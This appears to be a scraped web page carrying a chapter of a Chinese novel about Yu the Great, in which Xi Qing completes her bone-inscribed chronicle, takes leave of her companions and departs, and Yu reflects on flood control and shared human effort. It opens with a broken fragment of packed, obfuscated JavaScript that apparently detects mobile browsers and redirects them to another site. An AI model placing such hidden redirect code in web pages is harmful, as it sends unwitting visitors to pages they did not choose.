l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705156|189169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着一部《禹贡:苍生鉴》——上万片经烈火灼烤的牛肩胛骨被麻绳编联成六卷,此刻正严整地收在陶瓮中。不周山之战后,羲青也寄住禹的住所养伤,同时修订此书。此书不仅尽载九州山川地理、水系脉络、物产风俗,更详录治水方略、工程纪要,乃至一路民生百态、神话传说、部族变迁,堪称包罗万象。她参与治水,既为完成父亲羲仲勘破天河水厄的未竟之志,亦为践行自身安定洪水、为苍生立言的本心。砺的离去,是她心中永难愈合的创口。他们虽无世俗婚约之名,却早已生死相许,心意相通。这份刻骨之情,随砺之牺牲,化作了永恒的沉痛与追忆。她缓缓放下刻笔,指尖无意识地抚过腰间那支骨笛。笛身那两个紧紧相系的绳结,仿佛将他们未及言尽的情愫与诺言,永恒封存。 羲青抬手从床榻边取过早已收拾妥当的行囊,顺势往肩上一挎。她在门前驻足片刻,深深吸了一口气,才推开虚掩的房门。 院中的谈笑声戛然而止。所有人的目光都落在她身上,看着她肩上的行囊,看着她怀中的兽骨,顿时明白了什么。 她走到禹面前,郑重地说:“司空,《禹贡·苍生鉴》已成,我已将其收纳于房间的石桌上的陶瓮中。先父遗志,青之夙愿,尽汇于此。” 禹深知其中凝聚了多少心血与跋涉:“青儿,此乃千秋之功。” 暮色不知何时已笼罩庭院,最后的金光为院落镀上庄严的色泽。 暮色渐沉,为院落镀上一层庄严的金色。羲青转向众人,目光一一掠过这些并肩十三载的故人。 她先走到伯益面前,向他祝福道:“伯益,愿你与姚氏琴瑟和鸣,子孙绵延。" 伯益最终只深深一揖。 她又转向阿牛和芦花:“你们也不小啦,洪水已平,是时候成家了。” 阿牛眼圈一红,猛地别过脸去。芦花笑中带泪:“青姑娘,以后……以后要是路过咱们那儿,记得来家里坐坐。” 走到皋陶面前,羲青微微欠身:“士师,后会有期。” “后会有期。”皋陶还礼道。 经过弃身边时,她轻声道:“农正,百草的婚事,我很欢喜。” 弃温和一笑:“那孩子一直把你当亲姐姐。” 在辛夷面前,羲青停顿得最久。两个同样失去挚爱的女子相视无言,最终只是轻轻握住彼此的手。千言万语,尽在不言中。 最后,她看向鸣镝和飞猿:“保重。” 鸣镝重重点头,飞猿则默默递上一个皮水囊:“路上用。” 羲青环视众人,声音颤抖:“青欲再行治水路,亲睹劫后山海新颜。” 禹凝视她清癯而坚毅的面容,知她去意已决,唯有点头:“天地广阔,自有心安之处。务必……珍重。” “诸位珍重。”羲青深深望了众人一眼,目光中有不舍,更有决然。她背起行囊,转身离去。 院中一片寂静,唯有晚风拂过新泥的气息,见证着这场没有道别的告别。 禹目送着羲青的身影消失,那渐远的背影仿佛带走了整整一个时代。他默然良久,直到启轻轻拉住他的衣角。 “父亲,”少年仰头问道,“青姨要去哪里?” 这一声询问,让禹的目光重新落回满院故人身上。伯益、皋陶、阿牛、芦花......每一张脸上都刻着十三年的风霜。他轻抚启的头顶,声音低沉却清晰:“她去走我们曾经走过的路,去看我们守护下来的山河。” 晚风拂过庭院,带着泥土与新生的气息。阿牛忍不住开口:“司空,这些年……咱们到底是为了什么?” 禹的目光缓缓扫过众人,最后停在阿牛身上:“你可还记得第一次扛起石耜时的念头?不是为了征服洪水,而是想让田地不再被淹没。” 皋陶微微颔首:“确是如此。治水之道,在于疏导,而非对抗。” “正是。”禹的声音在暮色中显得格外沉静,“这滔滔洪水教会我们的,从来不是如何战胜自然,而是如何与这片天地共生。” 辛夷轻抚着怀中巫盼留下的玉璧碎片,低声道:“可我们付出的代价……” “我们失去的,都已化作九州的脊梁。”禹的目光掠过每一张面孔,“砺、岳盾、巫盼……他们守护的,将成为千秋的血脉。” 伯益若有所思:“所以,治水之功……” “不在我禹,"禹的声音忽然提高,“而在每一个不屈的魂灵!在每一个扛起石耜的农人,每一个疏通沟渠的工匠,每一个在洪水中不曾放弃希望的百姓!” 暮色渐浓,天边现出第一颗星。启仰望着星空,忽然问道:“父亲,以后还会有洪水吗?” 禹将手按在儿子肩上:“洪水或许还会来,但我们已经不同了。”他的声音与晚风融为一体,“十三载跋涉,我们劈开的不只是河道,更是蒙昧与文明的分界;我们疏导的不止是洪水,更是人心中的藩篱。” 鸣镝握紧了手中的弓:“司空是说……” “从今往后,”禹环视众人,目光如星,“人族当知——命运不在天,不在神,而在这双手,这颗心。” 田野间飘来炊烟的气息,远处隐约传来归家的笑语。这平凡的景象,此刻却仿佛在诉说着最深刻的真理。 阿牛忽然挺直了腰板:“俺明白了!太平日子不是等来的,是咱们一手一手挣来的!” 满院寂然,唯有星河在天际流转。禹望着羲青离去的方向,望着这片他们用血汗守护的土地,轻声道:“你们看——田野间的炊烟,道路上的行旅,孩童的笑语……这些,才是治水的意义。” 夜色中,不知谁家庭院里传来埙声,悠远而安宁。那曲调仿佛在诉说:文明的薪火不熄,守护的征途永续。功泽千秋,不在碑铭,而在每一个沐浴太平的黎明,在生生不息的传承中,成就永恒。